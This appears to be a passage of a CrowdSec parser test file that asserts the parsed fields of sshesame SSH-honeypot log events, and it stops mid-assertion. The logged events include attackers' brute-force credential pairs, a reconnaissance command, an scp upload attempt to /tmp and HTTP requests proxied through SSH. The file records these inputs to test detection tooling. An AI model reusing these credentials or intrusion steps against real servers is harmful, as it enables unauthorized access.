results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Parsed["message"] == "2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] input: \"GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Parsed["sshesame_input"] == "GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Parsed["timestamp"] == "2022/05/06 16:41:59" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["input"] == "GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][379].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][380].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 113 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sshesame_input"] == "GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022/05/06 04:53:57" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] input: \"GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["input"] == "GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-05-06T04:53:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-05-06T04:53:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] input: \"GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["sshesame_input"] == "GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022/05/06 04:58:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-05-06T04:58:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["input"] == "GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-05-06T04:58:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshesame_password"] == "aisadmin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:10:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshesame_user"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "2022/05/06 05:11:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2022/05/06 05:11:02 [185.131.12.144:60273] authentication for user \"default\" with password \"1\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "185.131.12.144" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshesame_password"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["target_user"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-05-06T05:11:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["username"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "185.131.12.144" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:11:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["sshesame_password"] == "xuexiaoman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["sshesame_user"] == "xuexiaoman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["timestamp"] == "2022/05/06 05:37:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user \"xuexiaoman\" with password \"xuexiaoman\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["target_user"] == "xuexiaoman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-05-06T05:37:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["username"] == "xuexiaoman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:37:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["timestamp"] == "2022/05/06 05:37:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["sshesame_cmd"] == "uname -s -v -n -r -m" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2022-05-06T05:37:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["command"] == "uname -s -v -n -r -m" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "165.232.183.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:37:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["sshesame_password"] == "raspberryraspberry993311" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["sshesame_user"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["timestamp"] == "2022/05/06 05:40:30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user \"pi\" with password \"raspberryraspberry993311\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2022-05-06T05:40:30Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["username"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["target_user"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:40:30Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["sshesame_cmd"] == "scp -t /tmp/taCiyiIF" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["timestamp"] == "2022/05/06 05:40:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"] == "2022-05-06T05:40:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["command"] == "scp -t /tmp/taCiyiIF" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:40:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user \"pi\" with password \"raspberry\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["sshesame_password"] == "raspberry" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["sshesame_user"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["timestamp"] == "2022/05/06 05:40:32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["target_user"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["timestamp"] == "2022-05-06T05:40:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["username"] == "pi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:40:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["timestamp"] == "2022/05/06 05:40:32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["sshesame_cmd"] == "scp -t /tmp/taCiyiIF" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_ip"] == "186.78.209.242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["timestamp"] == "2022-05-06T05:40:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["command"] == "scp -t /tmp/taCiyiIF" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:40:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["sshesame_input"] == "GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["timestamp"] == "2022/05/06 05:48:16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["message"] == "2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] input: \"GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["timestamp"] == "2022-05-06T05:48:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["input"] == "GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Enriched["MarshaledTime"] == "2022-05-06T05:48:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["sshesame_input"] == "GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["timestamp"] == "2022/05/06 06:08:09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["message"] == "2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] input: \"GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["timestamp"] == "2022-05-06T06:08:09Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["input"] == "GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:08:09Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["sshesame_input"] == "GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["timestamp"] == "2022/05/06 06:12:22" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["message"] == "2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] input: \"GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["input"] == "GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["timestamp"] == "2022-05-06T06:12:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:12:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: 